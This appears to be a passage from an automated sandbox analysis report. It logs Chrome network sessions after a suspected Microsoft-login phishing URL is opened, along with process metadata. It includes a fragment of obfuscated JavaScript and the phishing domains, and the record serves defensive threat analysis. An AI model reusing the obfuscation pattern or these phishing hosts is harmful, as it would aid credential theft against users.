2024-08-28 11:52:55 UTC	16368	IN	Data Raw: 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 33 39 32 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 65 39 35 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 37 31 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 63 37 36 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 61 33 30 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 33 35 33 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 35 34 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 33 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 31 37 64 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 34 39 34 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 39 61 63 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 31 36 64 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 35 32 66 29 2b 5f 30 78 34 35 65 32 38 32 28 30 78 32 38 31 30 29 2b 5f 30 78 34 Data Ascii: +_0x45e282(0x1392)+_0x45e282(0x1e95)+_0x45e282(0x2713)+_0x45e282(0x1c76)+_0x45e282(0x2a30)+_0x45e282(0x2353)+_0x45e282(0x254f)+_0x45e282(0x173d)+_0x45e282(0x17df)+_0x45e282(0x494)+_0x45e282(0x9ac)+_0x45e282(0x216d)+_0x45e282(0x252f)+_0x45e282(0x2810)+_0x4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49764	162.241.71.126	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:58 UTC	351	OUT	GET /next.php HTTP/1.1 Host: officeblessed.my.id Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:58 UTC	150	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:56 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49765	13.107.246.60	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:00 UTC	647	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:00 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:53:00 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: dd6769b7-201e-0064-535d-f84571000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240828T115300Z-15c77d89844s74b6f00rmfgxs00000000n4000000000h4y2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-28 11:53:00 UTC	15620	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-08-28 11:53:00 UTC	1554	IN	Data Raw: 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49766	13.107.246.60	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:00 UTC	663	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:00 UTC	806	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:53:00 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 8336ebb8-701e-0079-6c35-f948cd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240828T115300Z-15c77d89844zfzwvumakpphgy00000000meg0000000090qd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-28 11:53:00 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49767	152.199.21.175	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:00 UTC	664	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zngw.officeinvoicedoc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:00 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 13548610 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Wed, 28 Aug 2024 11:53:00 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-08-28 11:53:00 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49769	13.107.246.73	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:00 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:00 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:53:00 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 8336ebb8-701e-0079-6c35-f948cd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240828T115300Z-15c77d89844s74b6f00rmfgxs00000000n9000000000b66d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-28 11:53:00 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49770	13.107.246.73	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:00 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:01 UTC	757	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:53:00 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: dd6769b7-201e-0064-535d-f84571000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240828T115300Z-15c77d89844vht6zmafxh7wdkg0000000myg0000000042f8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-28 11:53:01 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-08-28 11:53:01 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49771	152.199.21.175	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:01 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:53:01 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 13548611 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Wed, 28 Aug 2024 11:53:01 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-08-28 11:53:01 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49772	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:53:21 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=coe3ULUE44g6ypp&MD=2+rElee3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 11:53:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 16a72b6c-ec31-4925-aa0a-864455b7f51b MS-RequestId: 6165140e-41db-4ef9-90eb-0be7ee4075de MS-CV: 36z//qLgZEy8niJJ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 11:53:21 GMT Connection: close Content-Length: 30005
2024-08-28 11:53:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-28 11:53:22 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 6280, Parent PID: 6012

General

Target ID:	0
Start time:	07:52:32
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://zngw.officeinvoicedoc.com/DhpuI
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6964, Parent PID: 6280

General

Target ID:	1
Start time:	07:52:32
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1960,i,16558629874653300574,15253624983313222741,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly